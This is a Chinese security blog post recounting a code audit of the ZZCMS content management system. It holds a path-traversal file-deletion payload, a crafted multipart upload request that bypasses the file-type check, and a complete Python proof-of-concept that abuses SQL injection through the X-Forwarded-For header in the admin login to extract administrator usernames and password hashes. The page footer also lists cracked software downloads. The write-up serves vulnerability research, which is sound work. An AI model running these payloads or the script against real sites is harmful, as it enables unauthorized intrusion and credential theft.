ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全网络安全文章 → ZZCMS代码审计全过程【附漏洞/POC】

ZZCMS代码审计全过程【附漏洞/POC】

时间:2018-03-01 08:08:24人气:作者:本站作者我要评论

本文作者:daomeng   QQ:940541273  投稿于 CE安全网

【含漏洞/POC:后台任意文件删除、文件上传、上传注入、http xorIP注入】

前言:

看着基佬0x584A 天天审计玩的 那么(。・∀・)ノ゙嗨

本菜鸟当然也是不服的了,于是开启了 某CMS 审计之路了

本菜鸟没有0x58Aa 那么耐心,还整个cms 一个个文件去看

说实话 我内心还是蛮佩服他的2333..

代码审计过程:

0x00目录结构

install 安装程序目录(安装时必须有可写入权限)

/admin 默认后台管理目录(可任意改名)

/user 注册用户管理程序存放目录

/skin 用户网站模板存放目录;

/inc 系统所用包含文件存放目录

/area 各地区显示文件

/zs 招商程序文件

/dl 代理

/zh 展会

/company 企业

/job 招聘

/zx 资讯

/special专题

/pp 品牌

/wangkan 网刊

/ask 问答

/zt 注册用户展厅页程序

/one 专存放单页面,如公司简介页,友情链接页,帮助页都放在这个目录里了

/ajax ajax程序处理页面

/reg 用户注册页面

/3 第三方插件存放目录

/3/ckeditor CK编缉器程序存放目录

/3/alipay 支付宝在线支付系统存放目录

/3/tenpay 财富通在线支付系统存放目录

/3/qq_connect2.0 qq登录接口文件

/3/ucenter_api discuz论坛用户同步登录接口文件

/3/kefu 在线客服代码

/3/mobile_msg 第三方手机短信API

/3/phpexcelreader PHP读取excel文件组件

/cache 缓存文件

/uploadfiles 上传文件存放目录

/dl_excel 要导入的代理信息excel表格文件上传目录

/image 程序设计图片,swf文件存放目录

/flash 展厅用透明flash装饰动画存放目录

/js js文件存放目录

/html 静态页存放目录

/favicon.ico 地址栏左侧小图标文件

/web.config 伪静态规则文件for iis7(万网比较常用)

/httpd.ini  伪静态规则文件for iss6

/.htaccess  伪静态规则文件for apache

0x01核心文件

Inc/fuction.php  全局函数文件

Inc/config.php  常量配置文件

Inc/conn.php    数据库连接配置文件

更多的你们自己去看 把!!

0x02 拿出seay审计工具

当然,也有几款更可以的审计工具 我是用习惯这款了

ZZCMS代码审计全过程【附漏洞/POC】

0x03 审计过程

后台一处 任意文件删除

文件路径:admin/dl_data.php

Code:

关键代码:

if (isset($_REQUEST['action'])){

$action=$_REQUEST['action'];

}else{

$action="";

}

if ($action=="del") {

$fp="../dl_excel/".$_GET["filename"];

if (file_exists($fp)){

unlink($fp);

}else{

echo "<script>alert('ÇëÑ¡ÔñҪɾ³ýµÄ±êÇ©');history.back()</script>";

}

}

?>

我们发现  filename 参数我们是可以控的

虽然 限定了目录 ../dl_excel/  但是我们 可以 ../来绕过

这个就不截图演示了,感觉没有必要 2333..

Payload: http://127.0.0.1/admin/dl_data.php?$action=del&filename=../456.txt

删除 根目录下的 456.txt 文件

未绕过的文件上传处

/uplodimg.php

code:

  1. function upfile() {
  2. //是否存在文件
  3. if (!is_uploaded_file(@$this->fileName[tmp_name])){
    1. echo "<script>alert('请点击“浏览”,先选择您要上传的文件!\\n\\n支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>"; exit;
  4. }
  5. //检查文件大小
  6. if ($this->max_file_size*1024 < $this->fileName["size"]){
    1. echo "<script>alert('文件大小超过了限制!最大只能上传 ".$this->max_file_size." K的文件');parent.window.close();</script>";exit;
  7. }
  8. //检查文件类型//这种通过在文件头加GIF89A,可骗过
  9. if (!in_array($this->fileName["type"], $this->uptypes)) {
    1. echo "<script>alert('文件类型错误,支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>";exit;
  10. }
  11. //检查文件后缀
  12. $hzm=strtolower(substr($this->fileName["name"],strpos($this->fileName["name"],".")));//获取.后面的后缀,如可获取到.php.gif
  13. if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false ||strpos($hzm,"jsp")!==false){
  14. echo "<script>alert('".$hzm.",这种文件不允许上传');parent.window.close();</script>";exit;
  15. }
  16. //创建文件目录
  17. if (!file_exists($this->fdir)) {mkdir($this->fdir,0777,true);}
  18. //上传文件
  19. $tempName = $this->fileName["tmp_name"];
  20. $fType = pathinfo($this->fileName["name"]);
  21. $fType = $fType["extension"];

  1. $newName =$this->fdir.$this->datu;
  2. $sImgName =$this->fdir.str_replace('.','_small.',$this->datu);

  1. //echo $newName;
  2. if (!move_uploaded_file($tempName, $newName)) {
    1. echo "<script>alert('移动文件出错');parent.window.close();</script>"; exit;
  3. }else{
  4. //检查图片属性,不是这几种类型的就不是图片文件,只能上传后才能获取到,代码放到上传前获取不到图片属性,所以放在这里
  5. $data=GetImageSize($newName);//取得GIF、JPEG、PNG或SWF图片属性,返回数组,图形的宽度[0],图形的高度[1],文件类型[2]
  6. if($data[2]!=1 && $data[2]!=2 && $data[2]!=3 && $data[2]!=6){//4为swf格式
  7. unlink($newName);
  8. echo "<script>alert('经判断上传的文件不是图片文件,已删除。');parent.window.close();</script>";exit;
  9. }
  10. ……………………多于代码
  11. $filename = array();
  12. for ($i = 0; $i < count($_FILES['g_fu_image']['name']); $i++){
  13. $filename[$i]['name']=$_FILES['g_fu_image']['name'][$i];
  14. $filename[$i]['type']=$_FILES['g_fu_image']['type'][$i];
  15. $filename[$i]['tmp_name']=$_FILES['g_fu_image']['tmp_name'][$i];
  16. $filename[$i]['error']=$_FILES['g_fu_image']['error'][$i];
  17. $filename[$i]['size']=$_FILES['g_fu_image']['size'][$i];
  18. }
  19. for ($i = 0; $i < count($filename); $i++){
  20. $filetype=strtolower(strrchr($filename[$i]['name'],"."));//图片的类型,统一转为小写
  21. $up = new upload();
  22. $up->fileName = $filename[$i];
  23. $up->fdir='uploadfiles/'.date("Y-m").'/'; //上传的路径
  24. $up->datu=date("YmdHis").rand(100,999).$filetype;//大图的命名
  25. $up->upfile(); //上传
  26. $bigimg=$up->fdir.$up->datu; //返回的大图文件名

从代码if (!in_array($this->fileName["type"], $this->uptypes))

这里可以看到验证了 文件类型

代码:if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false

||strpos($hzm,"jsp")!==false){

这里可以看到黑名单验证文件后缀

$up->fdir='uploadfiles/'.date("Y-m").'/';   //上传的路径

利用时间生成的路径

$up->datu=date("YmdHis").rand(100,999).$filetype;//大图的命名

利用时间生成的文件名

最后打印出 返回的大图文件

调用此处 文件

/uploadimg_form.php

ZZCMS代码审计全过程【附漏洞/POC】

验证是否有登录

Code:

POST /uploadimg.php HTTP/1.1

Host: 192.168.0.147

Content-Length: 258119

Cache-Control: max-age=0

Origin: http://192.168.0.147

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2KeBr7u8Qwj0s8sK

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: http://192.168.0.147/uploadimg_form.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: bdshare_firstime=1518336849908; PHPSESSID=4unsh3vi9kfjqp83mea0lolvl3; UserName=daomeng; PassWord=e10adc3949ba59abbe56e057f20f883e

Connection: close

------WebKitFormBoundary2KeBr7u8Qwj0s8sK

Content-Disposition: form-data; name="g_fu_image[]"; filename="img1.jpg"

Content-Type: image/jpeg

GIF89A

text

------WebKitFormBoundary2KeBr7u8Qwj0s8sK

Content-Disposition: form-data; name="Submit"

提交

------WebKitFormBoundary2KeBr7u8Qwj0s8sK

Content-Disposition: form-data; name="noshuiyin"

------WebKitFormBoundary2KeBr7u8Qwj0s8sK

Content-Disposition: form-data; name="imgid"

------WebKitFormBoundary2KeBr7u8Qwj0s8sK--

利用 Content-Type: image/jpeg 来绕过文件类型

利用内容 GIF89A 骗过缩成小图的 图片 验证

最后 我们 php4 这样都不可以上传(各种fuzz 也饶不过)

只能上传  txt,html,jpg其他无危害的任意格式

ZZCMS代码审计全过程【附漏洞/POC】

ZZCMS代码审计全过程【附漏洞/POC】

接着看看有没有注入的地方

/reg/ sendmailagain.php

这是一处通过邮箱激活用户帐号的地方

  1. <?php
  2. include("../inc/top2.php");
  3. echo sitetop();
  4. ?>
  5. <div class="pagebody" style="text-align:center;height:300px">
  6. <?php
  7. $username=trim($_POST["username"]);
  8. echo $username."<br/>";
  9. $email=trim($_POST["newemail"]);
  10. $emailsite="http://mail.".substr($email,strpos($email,"@")+1);
  11. $sql="select * from zzcms_usernoreg where username='".$username."'";
  12. $rs=query($sql);
  13. $row=num_rows($rs);

我们发现 $username参数 通过 post 传进来 根本没有任何的过滤

于是 我就想。。。是不是 可以 XX00了

结果尼玛不行 试着打印 sql 语句

ZZCMS代码审计全过程【附漏洞/POC】

发现他自己过滤单引号,我一向除非宽字节注入 不然没戏了

于是我在去看看有没有数字型注入:

code:

Code:

if ($action=="pass"){

if(!empty($_POST['id'])){

for($i=0; $i<count($_POST['id']);$i++){

$id=$_POST['id'][$i];

checkid($id);

$sql="select passed from zzcms_guestbook where id ='$id'";

$rs = query($sql);

$row = fetch_array($rs);

if ($row['passed']=='0'){

query("update zzcms_guestbook set passed=1 where id ='$id'");

}else{

query("update zzcms_guestbook set passed=0 where id ='$id'");

}

}

}else{

echo "<script>alert('²Ù×÷ʧ°Ü£¡ÖÁÉÙҪѡÖÐÒ»ÌõÐÅÏ¢¡£');history.back()</script>";

checkid($id);

我们看到 id 被 chekid()函数进行处理了一下 我们跟踪 checkid函数

Code:

Inc/function.php

function checkid($id,$classid=0,$msg=''){

if ($id<>''){

if (is_numeric($id)==false){showmsg('参数 '.$id.' 有误!相关信息不存在');}

elseif ($id>100000000){showmsg ('参数超出了数字表示范围!系统不与处理。');}//因为clng最大长度为9位

    if ($classid==0){//

       if ($id<1){showmsg ('参数有误!相关信息不存在。\r\r提示:'.$msg);}//翻页中有用,这个提示msg在其它地方有用

    }

}

}

if (is_numeric($id)==false)

判断$id 是不是整型

($id>100000000)

判断ID参数长度是不是在9位数以内

我一看 还怎么玩 。。。

但是我觉得不应该灰心可以看看有没有 http头注入 以及 cookie 注入

还有 二次注入之类的

某处上传文件进行注入

/label.php

  1. function zsshow($labelname,$classzm){
  2. global $siteskin,$province,$provincezm;//È¡Íⲿֵ£¬¹©ÑÝʾģ°å£¬ÊÖ»úÄ£°åÓÃ
  3. setcookie("province","xxx",1);//ËÑË÷Ò³µÄcookieÖµ»áÓ°Ïìµ½provinceµÄÖµ
  4. if (!$siteskin){$siteskin=siteskin;}
  5. if ($classzm!=''){$fpath=zzcmsroot."cache/".$siteskin."/zs/".$classzm."-".$labelname.".txt";
  6. }elseif($provincezm<>''){$fpath=zzcmsroot."cache/".$siteskin."/zs/".$provincezm."-".$labelname.".txt";
  7. }else{$fpath=zzcmsroot."cache/".$siteskin."/zs/".$labelname.".txt";}

  1. if (cache_update_time!=0 && file_exists($fpath)!==false && time()-filemtime($fpath)<3600*24*cache_update_time){
    1. return file_get_contents($fpath);
  2. }else{
  3. $fpath=zzcmsroot."/template/".$siteskin."/label/zsshow/".$labelname.".txt";
  4. if (file_exists($fpath)==true){
  5. if (filesize($fpath)<10){ showmsg(zzcmsroot."template/".$siteskin."/label/zsshow/".$labelname.".txt ÄÚÈÝΪ¿Õ");}//utf-8ÓÐÎļþÍ·£¬¿ÕÎļþ´óСΪ3×Ö½Ú
  6. $fcontent=file_get_contents($fpath);
  7. $f=explode("|||",$fcontent) ;
  8. $title=$f[0];$bigclassid =$f[1];$smallclassid = $f[2];

  1. if ($classzm <> "") {//²»Îª¿ÕµÄÇé¿öÊÇǶÌ×ÔÚzsclassÖÐʱ£¬½ÓÊյĴóÀàÖµ¡£
    1. $rs=query("select classid from zzcms_zsclass where classzm='".$classzm."'");
    2. $row=fetch_array($rs);
    3. if ($row){
    4. $bigclassid=$row["classid"];//ʹ´óÀàÖµµÈÓÚ½ÓÊÕµ½µÄÖµ
    5. }
    6. $smallclassid = 0; //ÒÔÏÂÓÐÌõ¼þÅжϣ¬´Ë´¦±ØÉèÖµ
  2. }

  1. $groupid =$f[3];$pic =$f[4];$flv =$f[5];$elite = $f[6];$numbers = $f[7];$orderby =$f[8];$titlenum = $f[9];$column = $f[10];$start =$f[11];$mids = $f[12];
  2. $mids = str_replace("show.php?id={#id}", "/zs/show.php?id={#id}",$mids);
  3. if (whtml == "Yes") {$mids = str_replace("/zs/show.php?id={#id}", "/zs/show-{#id}.htm",$mids);}
  4. $ends = $f[13];
  5. $sql = "select id,proname,bigclassid,prouse,shuxing_value,sendtime,img,flv,hit,city,editor from zzcms_main where passed=1 ";
    1. if ( $bigclassid <> 0) {$sql = $sql . " and bigclassid='" . $bigclassid . "'";}
    2. if ( $smallclassid <> 0) {$sql = $sql . " and smallclassid='" . $smallclassid . "'";}
    3. if ( $groupid <> 0) {$sql = $sql . " and groupid>=$groupid ";}
    4. if ( $pic == 1) {$sql = $sql . " and img is not null and img<>'/image/nopic.gif'";}
    5. if ( $flv == 1) {$sql = $sql . " and flv is not null and flv<>'' ";}
    6. if ( $elite == 1) {$sql = $sql . " and elite>0";}
    7. if ( $province != '') {$sql = $sql . " and province='$province'";}
    8. if ( $orderby == "hit") {$sql = $sql . " order by hit desc limit 0,$numbers ";
    9. }elseif ($orderby == "id") {$sql = $sql . " order by id desc limit 0,$numbers ";
    10. }elseif ($orderby == "sendtime") {$sql = $sql . " order by sendtime desc limit 0,$numbers ";
    11. }elseif ($orderby == "rand") {
    12. $sqln="select count(*) as total from zzcms_main where passed<>0 ";
    13. $rsn=query($sqln);
    14. $rown = fetch_array($rsn);
    15. $totlenum = $rown['total'];
      1. if (!$totlenum){
      2. $shuijishu=0;
  • }else{
  1. $shuijishu=rand(1,$totlenum-$numbers);
  2. if ($shuijishu<0){$shuijishu=0;}
  3. }
  1. $sql = $sql . " limit $shuijishu,$numbers";
  2. }
  1. //echo $sql;
  2. $rs=query($sql);

我们发现 $labelname 可以控制

{$fpath=zzcmsroot."cache/".$siteskin."/zs/".$labelname.".txt";}

后缀 是txt 文件  我们可以利用 刚过那一处的上传 上传 txt文件

  1. $fcontent=file_get_contents($fpath);
  2. $f=explode("|||",$fcontent) ;

分别是打开 txt文件  利用 explode 函数进行 拆分成数组

  1. $title=$f[0];$bigclassid =$f[1];$smallclassid = $f[2];

把数组的值分配至以上三个变量

if ( $bigclassid <> 0) {$sql = $sql . " and bigclassid='" . $bigclassid . "'";}

判断 $bigclassid 参数不等于0的话 拼接以上 sql 语句

ZZCMS代码审计全过程【附漏洞/POC】

到这里继续拼接 然后直接执行 sql语句

  1. 利用方法 找到 此函数调用的地方并且 参数可控
  2. 如果没有会员的情况下 可以 本地构造上传表单直接调用php

文件上传txt文件

  1. 满足以上条件所需参数 利用 |||进行隔开
  2. 利用$labelname参数调用你所上传的txt文件

整个过程 还是比较麻烦的 所以  我自己就没有去实践了

两处http xorIP注入

Admin/logincheck.php

Code:

<?php

$admin=nostr(trim($_POST["admin"]));

$pass=trim($_POST["pass"]);

$pass=md5($pass);

$ip=getip();

//$ip ="127.0.0.1' and --";

define('trytimes',50);//可尝试登录次数

define('jgsj',15*60);//间隔时间,秒

$sql="select * from zzcms_login_times where ip='$ip' and count>='".trytimes."' and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";

$rs = query($sql);

$row= num_rows($rs);

我们跟踪到 getip()函数

Code:

function getip(){

if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))

$ip = getenv("HTTP_CLIENT_IP");

else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))

$ip = getenv("HTTP_X_FORWARDED_FOR");

else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))

$ip = getenv("REMOTE_ADDR");

else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))

$ip = $_SERVER['REMOTE_ADDR'];

else

$ip = "unknown";

return($ip);

我们发现 IP可以伪造

$sql="select * from zzcms_login_times where ip='$ip' and count>='".trytimes."' and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";

并且 此处调用 $ip 到数据库去

为了先看看 有没有 过滤 我先利用 burpsuite 打印sql 语句

ZZCMS代码审计全过程【附漏洞/POC】

我们利用 X-Forwarded-For伪造ip 进行注入

并且没有任何的过滤 ,但是会强制 302跳转 只能盲注

我利用sqlmap 进行测试 结果发现不行

于是就自己 写了一份 poc

POC:

  1. #! /usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. # date: 2018-02-08
  4. # zzcms V8.2 sql注入 arg:ip
  5. import requests
  6. import sys
  7. import time
  8. import itertools
  9. def urlFormat(url):
    1. if (not url.startswith("http://")) and (not url.startswith("https://")):
      1. url = "http://" + url
    2. if not url.endswith("/"):
      1. url = url + "/"
    3. return url
  10. #进行注入
  11. def fetch_data(vuln_page):
    1. #判断管理员数目
    2. for i in itertools.count(1):
      1. payload_1 = "1,1,1,-1' or substr((select count(*) from zzcms_admin),1)={} #".format(i)
      2. headers = {'X-Forwarded-For':payload_1}
  • r1= requests.post(vuln_page,headers=headers)
  1. if len(r1.text.encode('utf-8')) > 400:
    1. print "------------"
    2. print "sum of manager:"+ str(i)
    3. print "trying fetch first manager's name and password......"
    4. for k in itertools.count(1):
      1. payload_2 = "1,1,1,-1' or length((select admin from zzcms_admin limit 0,1))={} #".format(k)
      2. headers = {'X-Forwarded-For':payload_2}
      3. r2 = requests.post(vuln_page,headers=headers)
      4. if len(r2.text.encode('utf-8')) > 400:
        1. print "length of manager's name:"+str(k)
        2. #打印用户名和密码
  • fetch_manager(vuln_page,k)
  1. break
  1. break
  1. #打印管理员账户和密码
  2. def fetch_manager(vuln_page,num):
    1. payload = "abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_."
    2. username = ""
    3. password = ""
    4. for j in range(num):
      1. for l in payload:
        1. payload_3 = "1,1,1,-1' or ascii(substr((select admin from zzcms_admin limit 0,1),{},1))={} #".format(j+1,ord(l))
        2. headers = {'X-Forwarded-For':payload_3}
        3. try:
          1. r3 = requests.post(vuln_page,headers=headers)
          2. if len(r3.text.encode('utf-8')) > 400:
            1. username = username + l
            2. print 'username:'+'{0:*<{1}}'.format(username,num)
  • break
  1. except:
    1. pass
  2. print "trying fuzz password ....."
  3. payload_test = "abcdefghigklmnopqrstuvwxyz0123456789"
  4. for j in range(32):
    1. #for l in payload:
    2. for l in payload_test:
      1. try:
        1. payload_4 = "1,1,1,-1' or ascii(substr((select pass from zzcms_admin limit 0,1),{},1))={} #".format(j+1,ord(l))
        2. headers = {'X-Forwarded-For':payload_4}
        3. r4 = requests.post(vuln_page,headers=headers)
        4. if len(r4.text.encode('utf-8')) > 400:
          1. password = password + l
          2. print 'password:' + '{0:*<32}'.format(password)
  • break
  1. except:
    1. pass
  2. return None

  1. def is_vuln(vuln_page):
    1. payload = "1.1.1.-1' or sleep(5)#"
    2. headers = {'X-Forwarded-For':payload}
    3. try:
      1. start_time = time.time()
      2. r2 = requests.post(vuln_page,headers=headers)
  • if time.time() - start_time > 4:
    1. return True
  1. else:
    1. return False
  2. except:
    1. pass
  3. def is_sql(url,retrynum = 3):
    1. vuln_page = url + 'admin/logincheck.php'
    2. try:
      1. response = requests.head(vuln_page)
      2. code = response.status_code
  • if retrynum > 0:
    1. if code != 200:
      1. print "vuln_page is not Founded,trying again " + vuln_page
      2. return is_sql(url,retrynum-1)
    2. else:
      1. print "vuln_page:" + vuln_page +" was Founded,trying payload for attacking"
      2. print "-------------------------------------------"
      3. result = is_vuln(vuln_page)
      4. if result:
        1. print "Found SQL vulnerability,trying to print admin:pasword"
        2. fetch_data(vuln_page)
      5. else:
        1. print "Not Found SQL vulnerability"
      6. except Exception as e:
        1. print e
      7. return None

  1. def main():
    1. # 判断是否存在注入
    2. if len(sys.argv) != 2:
      1. print " Usage:"
      2. print " python sqlip.py [url] "
  • print " Example:"
  1. print " python sqlip.py http://baidu.com"
  2. print " Author:"
  3. print " xq17 from mst"
  • exit(1)
  1. url = urlFormat(sys.argv[1])
  2. is_sql(url)
  3. # vuln_page = url + 'admin/logincheck.php'
  4. # fetch_data(vuln_page)
  1. if __name__ == '__main__':
    1. main()
    2. print "=================================="
    3. print " worked !!!!!!  "
    4. print "=================================="

poc 的测试结果如下图:

ZZCMS代码审计全过程【附漏洞/POC】

另一处 user/logincheck.php

代码细节内容基本一样  就不多的解释了

0x04 总结

其实我们在审计的过程中,并不是为了一定要挖掘代码的漏洞,而是需要体会整个审计过程对我们今后写代码有哪些帮助,以及审计过程中的测试方法

作者:

相关文章

猜你喜欢

  • Ougishi绿色版下载 V4.00 中文版

    2020-06-19 / 561k

  • 谷歌地图下载助手睿智版破解下载 V9.5绿色版

    2020-06-19 / 32.7M

  • OfficeFIX中文破解版V6.110 注册版

    2020-06-19 / 26.8M

  • Plotagraph破解版V1.2.0 免费版 32/64位

    2020-06-19 / 31.5M

  • IP查详细地址工具下载 V1.1 官方免费版

    2020-06-19 / 408K

  • 内存扫把中文版下载V1.97绿色版

    2020-06-19 / 1.3M

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 蜀ICP备19039426号-2| 蜀ICP备19039426号-2

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网